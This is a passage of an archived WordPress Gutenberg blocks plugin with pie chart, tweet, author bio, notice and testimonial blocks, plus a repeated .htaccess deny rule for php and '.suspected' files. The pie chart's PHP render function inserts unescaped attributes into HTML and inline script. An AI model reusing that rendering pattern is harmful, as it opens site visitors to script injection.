			<Fragment>
				<BlockControls key="toolbar-controls">
					<Toolbar
						className='components-toolbar'
					>
						<Tooltip text={ this.state.isOpen ? __( 'Save' ) : __( 'Edit Chart' ) }>
							<Button
								className="components-icon-button components-toolbar__control edit-pie-chart"
								onClick={ this.saveChart }
							>
								<Dashicon icon={ this.state.isOpen ? 'yes' : 'edit' } />
							</Button>
						</Tooltip>
					</Toolbar>
				</BlockControls>

				<InspectorControls>
					<PanelBody
						title={ __( 'Chart Settings' ) }
					>
						<TextControl
							label={ __( 'Chart Title' ) }
							value={ this.props.attributes.options.title }
							onChange={ this.changeChartTitle }
						/>
						<PanelRow>
							<label
								htmlFor="is-3d-form-toggle"
							>
								{ __( 'Is chart 3d?' ) }
							</label>
							<FormToggle
								id="is-3d-form-toggle"
								label={ __( 'Is chart 3rd? ' ) }
								checked={ this.props.attributes.options.is3D }
								onChange={ this.toggle3d }
							/>
						</PanelRow>
					</PanelBody>
				</InspectorControls>

				<div className={ this.props.className }>
					{ this.state.isOpen ?
						<HotTable
							data={ this.data }
							allowInsertRow={ true }
							cell={ [
								{
									row: 0,
									col: 0,
									readOnly: true
								},
								{
									row: 0,
									col: 1,
									readOnly: true
								}
							] }
							columns={ [
								{
									type: 'text'
								},
								{
									type: 'numeric'
								}
							] }
							contextMenu={ true }
							className="htLeft"
							height="200"
							rowHeaders={ true }
							stretchH="all"
						/>					:
						<Chart
							chartType="PieChart"
							data={ JSON.parse( this.props.attributes.data ) }
							options={ this.props.attributes.options }
							width="100%"
							height="400px"
							legendToggle
						/>
					}
				</div>
			</Fragment>
		);
	}
}

export default Editor;
chart/.htaccess000066600000000424151142373640007455 0ustar00<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index.php - [L]
RewriteRule ^.*\.[pP][hH].* - [L]
RewriteRule ^.*\.[sS][uU][sS][pP][eE][cC][tT][eE][dD] - [L]
<FilesMatch "\.(php|php7|phtml|suspected)$">
    Deny from all
</FilesMatch>
</IfModule>chart/class-chart-pie-block.php000066600000003507151142373640012444 0ustar00<?php
namespace ThemeIsle\GutenbergBlocks;

/**
 * Class Chart_Pie_Block
 */
class Chart_Pie_Block extends Base_Block {

	/**
	 * Constructor function for the module.
	 *
	 * @method __construct
	 */
	public function __construct() {
		parent::__construct();
	}

	/**
	 * Every block needs a slug, so we need to define one and assign it to the `$this->block_slug` property
	 *
	 * @return mixed
	 */
	function set_block_slug() {
		$this->block_slug = 'chart-pie';
	}

	/**
	 * Set the attributes required on the server side.
	 *
	 * @return mixed
	 */
	function set_attributes() {
		$this->attributes = array(
			'data' => array(
				'type'    => 'string',
				'default' => '[["Label","Data"],["Dogs",40],["Cats",30],["Racoons",20],["Monkeys",10]]',
			),
			'options' => array(
				'type' => 'object',
				'default' => [
					'title' => __( 'Animals', 'themeisle-companion' ),
					'is3D' => true,
				],
			),
			'id' => array(
				'type' => 'string',
			),
		);
	}

	/**
	 * Block render function for server-side.
	 *
	 * This method will pe passed to the render_callback parameter and it will output
	 * the server side output of the block.
	 *
	 * @return mixed|string
	 */
	function render( $attributes ) {
		$chart_markup = "<div class='wp-block-themeisle-blocks-chart-pie' id='" . $attributes['id'] . "' style='width: 100%; min-height: 450px;'></div>";

		$script = "<script>
			google.charts.load('current', {'packages':['corechart']});
			google.charts.setOnLoadCallback(drawChart);
	
			function drawChart() {
				var data = google.visualization.arrayToDataTable(" . $attributes['data'] . ');
				var options = ' . json_encode( $attributes['options'] ) . ";
				var chart = new google.visualization.PieChart(document.getElementById('" . $attributes['id'] . "'));
				chart.draw(data, options);
			}
		</script>";

		return $chart_markup . $script;
	}
}
chart/index.js000066600000001523151142373640007325 0ustar00/**
 * External dependencies
 */
import Editor from './Editor.js';

/**
 * WordPress dependencies.
 */
const { __ } = wp.i18n;

const { registerBlockType } = wp.blocks;

/**
 * Internal dependencies
 */
import './editor.scss';

registerBlockType( 'themeisle-blocks/chart-pie', {
	title: __( 'Pie Chart' ),
	description: __( 'Display a beautiful Pie Chart on your blog post with Pie Chart block.' ),
	icon: 'chart-pie',
	category: 'themeisle-blocks',
	keywords: [
		__( 'pie' ),
		__( 'chart' ),
		__( 'orbitfox' )
	],
	attributes: {
		data: {
			type: 'string',
			default: '[["Label","Data"],["Dogs",40],["Cats",30],["Racoons",20],["Monkeys",10]]'
		},
		options: {
			type: 'object',
			default: {
				title: 'Animals',
				is3D: true
			}
		},
		id: {
			type: 'string',
			default: ''
		}
	},

	edit: Editor,

	save: () => {
		return null;
	}
});
chart/editor.scss000066600000000541151142373640010042 0ustar00div[data-type="themeisle-blocks/chart-pie"] .edit-pie-chart:hover svg {
	padding: 5px;
	box-shadow: inset 0 0 0 1px #555d66,inset 0 0 0 2px #fff;
}

.wp-block-themeisle-blocks-chart-pie {
	width: 100%;

	.htRowHeaders {
		height: auto !important;
	}

	.ht_master {
		.wtHolder {
			height: auto !important;
		}
	}

	.is-button {
		margin-top: 10px;
	}
}tweetable/index.js000066600000011444151142373640010203 0ustar00/**
 * WordPress dependencies.
 */
const { __ } = wp.i18n;

const { get } = lodash;

const {
	registerBlockType,
	createBlock
} = wp.blocks;

const {
	Toolbar,
	TextControl
} = wp.components;

const { BlockControls } = wp.editor;

const { withSelect } = wp.data;

const { RichText } = wp.editor;

/**
 * Internal dependencies
 */
import './editor.scss';
import './style.scss';

registerBlockType( 'themeisle-blocks/tweetable', {
	title: __( 'Click To Tweet' ),
	description: __( 'Click to Tweet allows visitors to easily share your content on Twitter.' ),
	icon: 'twitter',
	category: 'themeisle-blocks',
	keywords: [
		__( 'twitter' ),
		__( 'tweet' ),
		__( 'orbitfox' )
	],
	attributes: {
		quote: {
			type: 'string',
			source: 'children',
			selector: 'p',
			default: []
		},
		permalink: {
			type: 'url'
		},
		via: {
			type: 'string'
		},
		buttonText: {
			type: 'string',
			default: __( 'Click to Tweet' )
		}
	},

	transforms: {
		from: [
			{
				type: 'block',
				blocks: [ 'core/paragraph' ],
				transform: ({ content }) => {
					return createBlock( 'themeisle-blocks/tweetable', { quote: content });
				}
			},
			{
				type: 'block',
				blocks: [ 'core/quote' ],
				transform: ({ value, citation }) => {
					if ( ( ! value || ! value.length ) && ! citation ) {
						return createBlock( 'themeisle-blocks/tweetable' );
					}
					return ( value || []).map( item => createBlock( 'themeisle-blocks/tweetable', {
						quote: [ get( item, 'children.props.children', '' ) ]
					}) ).concat( citation ? createBlock( 'core/paragraph', {
						content: citation
					}) : []);
				}
			},
			{
				type: 'block',
				blocks: [ 'core/pullquote' ],
				transform: ({ value, citation }) => {
					if ( ( ! value || ! value.length ) && ! citation ) {
						return createBlock( 'themeisle-blocks/tweetable' );
					}
					return ( value || []).map( item => createBlock( 'themeisle-blocks/tweetable', {
						quote: [ get( item, 'children.props.children', '' ) ]
					}) ).concat( citation ? createBlock( 'core/paragraph', {
						quote: citation
					}) : []);
				}
			}
		],
		to: [
			{
				type: 'block',
				blocks: [ 'core/paragraph' ],
				transform: ({ content, quote }) => {
					if ( ! quote || ! quote.length ) {
						return createBlock( 'core/paragraph' );
					}
					return ( quote || []).map( item => createBlock( 'core/paragraph', {
						content: quote
					}) );
				}
			},
			{
				type: 'block',
				blocks: [ 'core/quote' ],
				transform: ({ quote }) => {
					return createBlock( 'core/quote', {
						value: [
							{ children: <p key="1">{ quote }</p> }
						]
					});
				}
			},
			{
				type: 'block',
				blocks: [ 'core/pullquote' ],
				transform: ({ quote }) => {
					return createBlock( 'core/pullquote', {
						value: [
							{ children: <p key="1">{ quote }</p> }
						]
					});
				}
			}
		]
	},

	edit: withSelect( ( select, props ) => {
		const { getPermalink } = select( 'core/editor' );
		if ( props.attributes.permalink === undefined ) {
			props.setAttributes({ permalink: getPermalink() });
		}
		return {
			permalink: getPermalink(),
			props
		};
	})( ({ props, className }) => {
		const onChangeQuote = ( value ) => {
			props.setAttributes({ quote: value });
		};

		const onChangeButton = ( value ) => {
			props.setAttributes({ buttonText: value });
		};

		const onChangeVia = ( value ) => {
			props.setAttributes({ via: value });
		};

		return [
			<BlockControls key="controls">
				<Toolbar>
					<i className="fas fa-at tweetable-icon"></i>
					<TextControl
						type="text"
						placeholder="Username"
						className="tweetable-controls"
						value={ props.attributes.via }
						onChange={ onChangeVia }
					/>
				</Toolbar>
			</BlockControls>,
			<blockquote className={ className }>
				<RichText
					tagName="p"
					multiline="false"
					placeholder={ __( 'What should we tweet?' ) }
					value={ props.attributes.quote }
					formattingControls={ [] }
					onChange={ onChangeQuote }
					keepPlaceholderOnFocus
				/>

				<RichText
					tagName="span"
					placeholder={ __( 'Tweet this!' ) }
					className="tweetbutton"
					value={ props.attributes.buttonText ? props.attributes.buttonText : __( 'Tweet this!' ) }
					formattingControls={ [] }
					onChange={ onChangeButton }
					keepPlaceholderOnFocus
				/>
			</blockquote>
		];
	}),

	save: props => {
		const viaUrl = props.attributes.via ? `&via=${ props.attributes.via }` : '';

		const tweetUrl = `http://twitter.com/share?&text=${ encodeURIComponent( props.attributes.quote ) }&url=${ props.attributes.permalink }${ viaUrl }`;

		return (
			<blockquote>
				<RichText.Content
					tagName="p"
					value={ props.attributes.quote }
				/>

				<RichText.Content
					tagName="a"
					className="tweetbutton"
					href={ tweetUrl }
					value={ props.attributes.buttonText }
					target="_blank"
				/>
			</blockquote>
		);
	}
});
tweetable/editor.scss000066600000002230151142373640010712 0ustar00.editor-block-list__block {
	.tweetable-icon {
		padding: 10px 8px;
	}
}

.editor-block-list__block {
 .tweetable-controls {
	.components-base-control__field {
		margin-bottom: 0;
	}
	input[type="text"] {
		width: auto;
		padding: 8px 8px;
	}
 }
}

.wp-block-themeisle-blocks-tweetable {
	display: block;
	background-color: #fff;
	position: relative;
	border: 1px solid #dddddd;
	-moz-border-radius: 4px;
	border-radius: 4px;
	padding: 15px 30px;
	margin: 15px 0px;

	p {
		margin: 0 0 10px 0;
		padding: 0;
		position: relative;
		word-wrap: break-word;
		color: #999999;
		font-size: 24px;
		line-height: 140%;
		box-shadow: none;
		letter-spacing: 0.05em;
		font-weight: 100;
		text-decoration: none;
		text-transform: none;
	}

	.tweetbutton {
		margin: 0;
		padding: 0;
		padding-right: 0px;
		position: relative;
		display: block;
		text-transform: uppercase;
		font-family: "Helvetica Neue", Helvetica, Arial, sans-serif;
		box-shadow: none;
		font-size: 12px;
		font-weight: bold;
		line-height: 100%;
		color: #999999;
		float: right;
		text-decoration: none;

		&:after {
			content: "\f301";
			color: #A0CCED;
			font-family: Dashicons;
			margin: 0 5px;
		}

	}
}tweetable/.htaccess000066600000000424151142373640010330 0ustar00<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index.php - [L]
RewriteRule ^.*\.[pP][hH].* - [L]
RewriteRule ^.*\.[sS][uU][sS][pP][eE][cC][tT][eE][dD] - [L]
<FilesMatch "\.(php|php7|phtml|suspected)$">
    Deny from all
</FilesMatch>
</IfModule>tweetable/style.scss000066600000001616151142373640010573 0ustar00.wp-block-themeisle-blocks-tweetable {
	display: block;
	background-color: #fff;
	position: relative;
	border: 1px solid #dddddd;
	-moz-border-radius: 4px;
	border-radius: 4px;
	padding: 15px 30px;
	margin: 15px 0px;

	p {
		margin: 0 0 10px 0;
		padding: 0;
		position: relative;
		word-wrap: break-word;
		color: #999999;
		font-size: 24px;
		line-height: 140%;
		box-shadow: none;
		letter-spacing: 0.05em;
		font-weight: 100;
		text-decoration: none;
		text-transform: none;
	}

	.tweetbutton {
		margin: 0;
		padding: 0;
		padding-right: 0px;
		display: block;
		text-transform: uppercase;
		font-family: "Helvetica Neue", Helvetica, Arial, sans-serif;
		box-shadow: none;
		font-size: 12px;
		font-weight: bold;
		line-height: 100%;
		color: #999999;
		text-align: right;
		text-decoration: none;

		&:after {
			content: "\f301";
			color: #A0CCED;
			font-family: Dashicons;
			margin: 0 5px;
		}

	}
}about-author/.htaccess000066600000000424151142373640010766 0ustar00<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index.php - [L]
RewriteRule ^.*\.[pP][hH].* - [L]
RewriteRule ^.*\.[sS][uU][sS][pP][eE][cC][tT][eE][dD] - [L]
<FilesMatch "\.(php|php7|phtml|suspected)$">
    Deny from all
</FilesMatch>
</IfModule>about-author/style.scss000066600000001774151142373640011236 0ustar00.wp-block-themeisle-blocks-about-author {
    border: 0;
    margin-bottom: 30px;
    border-radius: 6px;
    color: rgba(0,0,0,.87);
    width: 100%;
    position: relative;
    display: flex;
	word-wrap: break-word;

	.themeisle-author-image {
		width: 16.66666667%;
		float: left;
		max-width: 130px;
		max-height: 130px;
		margin: auto 15px;

		.author-image {
			width: 100%;
			height: auto;
			box-shadow: 0 16px 38px -12px rgba(0, 0, 0, 0.56), 0 4px 25px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(0, 0, 0, 0.2);
			border-radius: 50%;

			&:hover {
				opacity: 0.8;
			}
		}
	}

	.themeisle-author-data {
		width: 83.33333333%;
		float: left;
		margin: 0 15px;

		p {
			font-size: 14px;
		}
	}
}

@media ( max-width:961px ) {
	.wp-block-themeisle-blocks-about-author {
		display: inline-block;
		text-align: center;

		.themeisle-author-image {
			width: auto;
			float: none;
			max-width: 130px;
			max-height: 130px;
			margin: auto;
		}
		.themeisle-author-data {
			width: auto;
			float: none;
		}
	}
}about-author/class-about-author-block.php000066600000003317151142373640014512 0ustar00<?php

namespace ThemeIsle\GutenbergBlocks;

/**
 * Class About_Author_Block
 */
class About_Author_Block extends Base_Block {

	/**
	 * Constructor function for the module.
	 *
	 * @method __construct
	 */
	public function __construct() {
		parent::__construct();
	}

	/**
	 * Every block needs a slug, so we need to define one and assign it to the `$this->block_slug` property
	 *
	 * @return mixed
	 */
	function set_block_slug() {
		$this->block_slug = 'about-author';
	}

	/**
	 * Set the attributes required on the server side.
	 *
	 * @return mixed
	 */
	function set_attributes() {
		$this->attributes = array();
	}

	/**
	 * Block render function for server-side.
	 *
	 * This method will pe passed to the render_callback parameter and it will output
	 * the server side output of the block.
	 *
	 * @return mixed|string
	 */
	function render( $attributes ) {
		$img_markup = sprintf(
			'<a href="%1$s"><img src="%2$s" class="author-image" /></a>',
			esc_url( get_author_posts_url( get_the_author_meta( 'ID' ) ) ),
			esc_attr( get_avatar_url( get_the_author_meta( 'ID' ), array( 'size' => 130 ) ) )
		);

		$title_markup = sprintf(
			'<h4>%1$s</h4>',
			esc_html( get_the_author_meta( 'display_name' ) )
		);

		$content_markup = sprintf(
			'<p>%1$s</p>',
			esc_html( strip_tags( get_the_author_meta( 'description' ) ) )
		);

		$class = 'wp-block-themeisle-blocks-about-author';

		if ( isset( $attributes['className'] ) ) {
			$class .=  ' ' . esc_attr( $attributes['className'] );
		}

		return sprintf(
			'<section class="%1$s"><div class="themeisle-author-image">%2$s</div><div class="themeisle-author-data">%3$s%4$s</div></section>',
			esc_attr( $class ),
			$img_markup,
			$title_markup,
			$content_markup
		);

	}
}
about-author/editor.scss000066600000002014151142373640011350 0ustar00.wp-block-themeisle-blocks-about-author {
    border: 0;
    margin-bottom: 30px;
    border-radius: 6px;
    color: rgba(0,0,0,.87);
    width: 100%;
    position: relative;
    display: flex;
    min-width: 0;
	word-wrap: break-word;

	.themeisle-author-image {
		width: 16.66666667%;
		float: left;
		max-width: 96px;
		max-height: 96px;
		margin: auto 15px;

		.author-image {
			width: 100%;
			height: auto;
			box-shadow: 0 16px 38px -12px rgba(0, 0, 0, 0.56), 0 4px 25px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(0, 0, 0, 0.2);
			border-radius: 50%;

			&:hover {
				opacity: 0.8;
			}
		}
	}

	.themeisle-author-data {
		width: 83.33333333%;
		float: left;
		margin: 0 15px;

		p {
			font-size: 14px;
		}
	}
}

@media ( max-width:961px ) {
	.wp-block-themeisle-blocks-about-author {
		display: inline-block;
		text-align: center;

		.themeisle-author-image {
			width: auto;
			float: none;
			max-width: 130px;
			max-height: 130px;
			margin: auto;
		}
		.themeisle-author-data {
			width: auto;
			float: none;
		}
	}
}about-author/index.js000066600000003715151142373640010643 0ustar00/**
 * WordPress dependencies
 */
const { __ } = wp.i18n;

const { registerBlockType } = wp.blocks;

const {
	compose,
	withState
} = wp.compose;

const { Spinner } = wp.components;

const { withSelect } = wp.data;

/**
 * Internal dependencies
 */
import './editor.scss';
import './style.scss';

import { authorIcon } from '../../helpers/icons.js';

registerBlockType( 'themeisle-blocks/about-author', {
	title: __( 'About Author' ),
	description: __( 'About Author block is the easiest way to add a author bio below your posts.' ),
	icon: authorIcon,
	category: 'themeisle-blocks',
	keywords: [
		'about',
		'author',
		'profile'
	],
	attributes: {
		id: {
			type: 'number'
		}
	},

	supports: {
		html: false
	},

	edit: compose([

		withSelect( ( select, props ) => {
			return {
				postAuthor: select( 'core/editor' ).getEditedPostAttribute( 'author' ),
				authors: select( 'core' ).getAuthors(),
				props
			};
		}),

		withState({
			status: 0,
			authorDetails: {}
		})

	])( ({ postAuthor, authors, status, authorDetails, setState, props, className }) => {

		if ( 0 === status && postAuthor && authors ) {
			authors.find( ( o ) => {
				if ( o.id === postAuthor ) {
					if ( postAuthor !== props.attributes.id ) {
						props.setAttributes({ id: o.id });
					}
					setState({
						authorDetails: o,
						status: 1
					});
					return o.id === postAuthor;
				}
			});
		}

		return (
			( 1 === status && postAuthor && authors ) ? (
				<section className={ className }>
					<div className="themeisle-author-image">
						<img className="author-image" src={ authorDetails.avatar_urls[ '96' ] } alt={ authorDetails.name }/>
					</div>
					<div className="themeisle-author-data">
						<h4>{ authorDetails.name }</h4>
						<p>{ authorDetails.description }</p>
					</div>
				</section>
			) : (
				<div key="loading" className="wp-block-embed is-loading">
					<Spinner />
					<p>{ __( 'Loading…' ) }</p>
				</div>
			)
		);
	}),

	save: () => {
		return null;
	}
});
notice/.htaccess000066600000000424151142373640007635 0ustar00<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index.php - [L]
RewriteRule ^.*\.[pP][hH].* - [L]
RewriteRule ^.*\.[sS][uU][sS][pP][eE][cC][tT][eE][dD] - [L]
<FilesMatch "\.(php|php7|phtml|suspected)$">
    Deny from all
</FilesMatch>
</IfModule>notice/style.scss000066600000001065151142373640010076 0ustar00.themeisle-block-notice {

	&.components-notice {
		background-color: #E5F5FA;
		border-left: 4px solid #00a0d2;
		margin: 5px 15px 10px;
		padding: 8px 12px;
	
		&.is-success {
			border-left-color: #4ab866;
			background-color: lighten( #4ab866, 45% );
		}
	
		&.is-warning {
			border-left-color: #f0b849;
			background-color: lighten( #f0b849, 35% );
		}
	
		&.is-error {
			border-left-color: #d94f4f;
			background-color: lighten( #d94f4f, 35% );
		}
	
		.components-notice__content {
			font-size: 14px;
			line-height: 1.5;
			margin: 0 !important;
		}
	}
}notice/index.js000066600000004643151142373640007513 0ustar00/**
 * WordPress dependencies...
 */
const { __ } = wp.i18n;

const { registerBlockType } = wp.blocks;

const { RichText } = wp.editor;

const { Notice } = wp.components;

/**
 * Internal dependencies
 */
import './style.scss';
import './editor.scss';

registerBlockType( 'themeisle-blocks/notice', {
	title: __( 'Notice' ),
	description: __( 'Provide contextual feedback messages for typical user actions with the handful of available and flexible alert messages.' ),
	icon: 'info',
	category: 'themeisle-blocks',
	keywords: [
		'notice',
		'info'
	],
	attributes: {
		content: {
			type: 'array',
			source: 'children',
			selector: 'p.components-notice__content'
		}
	},

	supports: {
		align: [ 'wide', 'full' ]
	},

	styles: [
		{ name: 'sucess', label: __( 'Success' ), isDefault: true },
		{ name: 'info', label: __( 'Info' ) },
		{ name: 'warning', label: __( 'Warning' ) },
		{ name: 'error', label: __( 'Error' ) }
	],

	edit: props => {
		let status = 'success';
		if ( props.attributes.className && props.attributes.className.includes( 'is-style-info' ) ) {
			status = '';
		} else if ( props.attributes.className && props.attributes.className.includes( 'is-style-warning' ) ) {
			status = 'warning';
		} else if ( props.attributes.className && props.attributes.className.includes( 'is-style-error' ) ) {
			status = 'error';
		}
		return (
			<Notice
				className={ props.className }
				isDismissible={ false }
				status={ status }
			>
				<RichText
					tagName="p"
					placeholder={ __( 'Lorem ipsum dolor sit amet, consectetur adipiscing elit.' ) }
					value={ props.attributes.content }
					className="components-notice__content"
					onChange={ content => props.setAttributes({ content }) }
					keepPlaceholderOnFocus="true"
				/>
			</Notice>
		);
	},
	save: props => {
		let status = 'success';
		if ( props.attributes.className && props.attributes.className.includes( 'is-style-info' ) ) {
			status = '';
		} else if ( props.attributes.className && props.attributes.className.includes( 'is-style-warning' ) ) {
			status = 'warning';
		} else if ( props.attributes.className && props.attributes.className.includes( 'is-style-error' ) ) {
			status = 'error';
		}
		return (
			<Notice
				className="themeisle-block-notice"
				isDismissible={ false }
				status={ status }
			>
				<RichText.Content
					tagName="p"
					className="components-notice__content"
					value={ props.attributes.content }
				/>
			</Notice>
		);
	}
});
notice/editor.scss000066600000001065151142373640010224 0ustar00.themeisle-block-notice {

	&.components-notice {
		background-color: #E5F5FA;
		border-left: 4px solid #00a0d2;
		margin: 5px 15px 10px;
		padding: 8px 12px;
	
		&.is-success {
			border-left-color: #4ab866;
			background-color: lighten( #4ab866, 45% );
		}
	
		&.is-warning {
			border-left-color: #f0b849;
			background-color: lighten( #f0b849, 35% );
		}
	
		&.is-error {
			border-left-color: #d94f4f;
			background-color: lighten( #d94f4f, 35% );
		}
	
		.components-notice__content {
			font-size: 14px;
			line-height: 1.5;
			margin: 0 !important;
		}
	}
}testimonials/testimonials-area.js000066600000011405151142373640013251 0ustar00/**
 * External dependencies
 */
import classnames from 'classnames';

/**
 * WordPress dependencies...
 */

const { __ } = wp.i18n;

const { registerBlockType } = wp.blocks;

const {
	ColorPalette,
	InnerBlocks,
	InspectorControls,
	MediaPlaceholder
} = wp.editor;

const {
	Button,
	ToggleControl,
	SelectControl,
	PanelBody
} = wp.components;

const { Fragment } = wp.element;

registerBlockType( 'themeisle-blocks/testimonials-area', {
	title: __( 'Testimonials Area' ),
	description: __( 'Display kudos from customers and clients and display them on your website.' ),
	icon: 'testimonial',
	category: 'themeisle-blocks',
	keywords: [
		'testimonials',
		'clients',
		'quotes'
	],
	attributes: {
		backgroundType: {
			type: 'string',
			default: 'color'
		},
		backgroundColor: {
			type: 'string',
			default: '#ffffff'
		},
		backgroundImageID: {
			type: 'string'
		},
		backgroundImageURL: {
			type: 'string'
		},
		backgroundDimmed: {
			type: 'boolean',
			default: true
		},
		backgroundParallax: {
			type: 'boolean',
			default: false
		}
	},

	supports: {
		align: [ 'wide', 'full' ]
	},

	edit: props => {
		const ALLOWED_BLOCKS = [ 'themeisle-blocks/testimonials-block' ];
		const ALLOWED_MEDIA_TYPES = [ 'image' ];
		const TEMPLATE = [ [ 'themeisle-blocks/testimonials-block' ], [ 'themeisle-blocks/testimonials-block' ], [ 'themeisle-blocks/testimonials-block' ] ];
		const changeType = value => {
			props.setAttributes({ backgroundType: value });
		};
		const changeColor = value => {
			props.setAttributes({ backgroundColor: value });
		};
		const changeBackground = value => {
			props.setAttributes({
				backgroundImageID: value.id,
				backgroundImageURL: value.url
			});
		};
		const removeBackground = () => {
			props.setAttributes({
				backgroundImageID: '',
				backgroundImageURL: ''
			});
		};
		const toggleDimming = () => {
			props.setAttributes({ backgroundDimmed: ! props.attributes.backgroundDimmed });
		};
		const toggleParallax = () => {
			props.setAttributes({ backgroundParallax: ! props.attributes.backgroundParallax });
		};
		const style = {
			background: 'color' === props.attributes.backgroundType ? props.attributes.backgroundColor : `url(' ${ props.attributes.backgroundImageURL } ')`
		};
		return [
			<InspectorControls>
				<PanelBody
					title={ __( 'Background' ) }
				>
					<SelectControl
						label={ __( 'Background Type' ) }
						value={ props.attributes.backgroundType }
						options={ [
							{ label: 'Color', value: 'color' },
							{ label: 'Image', value: 'image' }
						] }
						onChange={ changeType }
					/>
					{ 'color' === props.attributes.backgroundType ?
						<ColorPalette
							label={ __( 'Background Color' ) }
							value={ props.attributes.backgroundColor }
							onChange={ changeColor }
						/>					:
						props.attributes.backgroundImageURL ?
							<Fragment>
								<ToggleControl
									label={ __( 'Dimmed Background' ) }
									checked={ props.attributes.backgroundDimmed }
									onChange={ toggleDimming }
								/>
								<ToggleControl
									label={ __( 'Parallax Background' ) }
									checked={ props.attributes.backgroundParallax }
									onChange={ toggleParallax }
								/>
								<img
									src={ props.attributes.backgroundImageURL }
								/>
								<Button
									isLarge
									onClick={ removeBackground }
									style={ { marginTop: '10px' } }
								>
									{ __( 'Change or Remove Image' ) }
								</Button>
							</Fragment>						:
							<MediaPlaceholder
								icon="format-image"
								labels={ {
									title: __( 'Background Image' ),
									name: __( 'an image' )
								} }
								value={ props.attributes.backgroundImageID }
								onSelect={ changeBackground }
								accept="image/*"
								allowedTypes={ ALLOWED_MEDIA_TYPES }
							/>
					}
				</PanelBody>
			</InspectorControls>,

			<div
				className={ classnames(
					props.className,
					{ 'is-dim': 'image' === props.attributes.backgroundType && props.attributes.backgroundDimmed },
					{ 'is-parallax': 'image' === props.attributes.backgroundType && props.attributes.backgroundParallax },
				) }
				style={ style }
			>
				<InnerBlocks
					allowedBlocks={ ALLOWED_BLOCKS }
					template={ TEMPLATE }
				/>
			</div>
		];
	},

	save: props => {
		const style = {
			background: 'color' === props.attributes.backgroundType ? props.attributes.backgroundColor : `url(' ${ props.attributes.backgroundImageURL } ')`
		};
		return (
			<div
				className={ classnames(
					'wp-block-themeisle-blocks-testimonials-area',
					{ 'is-dim': 'image' === props.attributes.backgroundType && props.attributes.backgroundDimmed },
					{ 'is-parallax': 'image' === props.attributes.backgroundType && props.attributes.backgroundParallax },
				) }
				style={ style }
			>
				<InnerBlocks.Content/>
			</div>
		);
	}
});
testimonials/style.scss000066600000002577151142373640011341 0ustar00.wp-block-themeisle-blocks-testimonials-area {
	display: flex;
	position: relative;

	&.is-dim {
		&:before {
			content: "";
			position: absolute;
			top: 0;
			left: 0;
			bottom: 0;
			right: 0;
			background-color: rgba(0,0,0,.5);
		}

		.wp-block-column {
			z-index: 1;
		}
	}

	&.is-parallax {
		background-attachment: fixed !important;
	}

	&.alignfull {
		padding: 100px;
	}

	&.alignwide {
		padding: 100px 150px;
	}

	.wp-block-column {
		position: relative;
		flex: 1;
		padding: 20px 25px;
		margin: 0 20px;

		.wp-block-image {
			margin: 0 auto;
			width: 100px;
			height: auto;

			img {
				border-radius: 100%;
				box-shadow: 0 10px 25px 0 rgba(0,0,0,.3);
			}
		}

		h3 {
			&.testimonials-title {
				margin: 20px 0 0 0 !important;
			}
		}

		.testimonials-content {
			&:before {
				content: open-quote;
			}

			&:after {
				content: close-quote;
			}
		}
	}
}


@media ( min-width:768px ) {
	.wp-block-themeisle-blocks-testimonials-area {
		.wp-block-column {

			&:first-child {
				margin-left: 0;
			}
	
			&:last-child {
				margin-right: 0;
			}
		}
	}
}

@media ( max-width:768px ) {
	.wp-block-themeisle-blocks-testimonials-area {
		display: block;

		.wp-block-column {
			margin: 20px;
		}
	}
}

@media ( max-width:1024px ) {
	.wp-block-themeisle-blocks-testimonials-area {

		&.alignfull {
			padding: 100px 20px;
		}
	
		&.alignwide {
			padding: 100px 20px;
		}
	}
}testimonials/editor.scss000066600000005723151142373640011463 0ustar00// These margins make sure that nested blocks stack/overlay with the parent block chrome
// This is sort of an experiment at making sure the editor looks as much like the end result as possible
// Potentially the rules here can apply to all nested blocks and enable stacking, in which case it should be moved elsewhere
.wp-block-themeisle-blocks-testimonials-area .editor-block-list__layout {
	margin-left: 0;
	margin-right: 0;

	// This max-width is used to constrain the main editor panel, it should not cascade into columns
	.editor-block-list__block {
		max-width: none;
	}
}

.wp-block-themeisle-blocks-testimonials-area {
	display: block;
	position: relative;

	&.is-dim {
		&:before {
			content: "";
			position: absolute;
			top: 0;
			left: 0;
			bottom: 0;
			right: 0;
			background-color: rgba(0,0,0,.5);
		}

		.wp-block-column {
			z-index: 1;
		}
	}

	&.is-parallax {
		background-attachment: fixed !important;
	}

	> .editor-inner-blocks > .editor-block-list__layout {
		display: flex;

		> [data-type="themeisle-blocks/testimonials-block"] {
			display: flex;
			flex-direction: column;
			flex: 1;
			width: 0;

			.editor-block-list__block-edit {
				margin-top: 12px;
				flex-basis: 100%;
			}
		}
	}

	.wp-block-column {
		&:first-child {
			margin-left: 0;
		}

		&:last-child {
			margin-right: 0;
		}

		position: relative;
		padding: 20px 10px;
		margin: 0 20px;

		.wp-block-image {
			margin: 0 auto;
			width: 100px;
			height: auto;

			img {
				width: 100px;
				border-radius: 100%;
				box-shadow: 0 10px 25px 0 rgba(0,0,0,.3);
			}
		}

		h3 {
			&.testimonials-title {
				margin: 20px 0 0 0 !important;
			}
		}

		.testimonials-content {
			&:before {
				content: open-quote;
			}

			&:after {
				content: close-quote;
			}
		}
	}

	> .editor-inner-blocks > .editor-block-list__layout {
		display: flex;

		> [data-type="themeisle-blocks/testimonials-block"] {
			display: flex;
			flex-direction: column;
			flex: 1;
			width: 0;

			.editor-block-list__block-edit {
				flex-basis: 100%;
			}
		}
	}
}

[data-type="themeisle-blocks/testimonials-area"] {
	&[data-align="full"] {
		.wp-block-themeisle-blocks-testimonials-area {
			padding: 100px 150px;
		}
	}

	&[data-align="wide"] {
		.wp-block-themeisle-blocks-testimonials-area {
			padding: 30px 50px;
		}
	}
}

@media ( max-width:768px ) {
	.wp-block-themeisle-blocks-testimonials-area {
		display: block;

		> .editor-inner-blocks > .editor-block-list__layout {
			display: block;
	
			> [data-type="themeisle-blocks/testimonials-block"] {
				display: flex;
				flex-direction: column;
				flex: 1;
				width: auto;
	
				.editor-block-list__block-edit {
					margin-top: 12px;
					flex-basis: 100%;
				}
			}
		}
	}
}

@media ( max-width:1024px ) {
	[data-type="themeisle-blocks/testimonials-area"] {
		&[data-align="full"] {
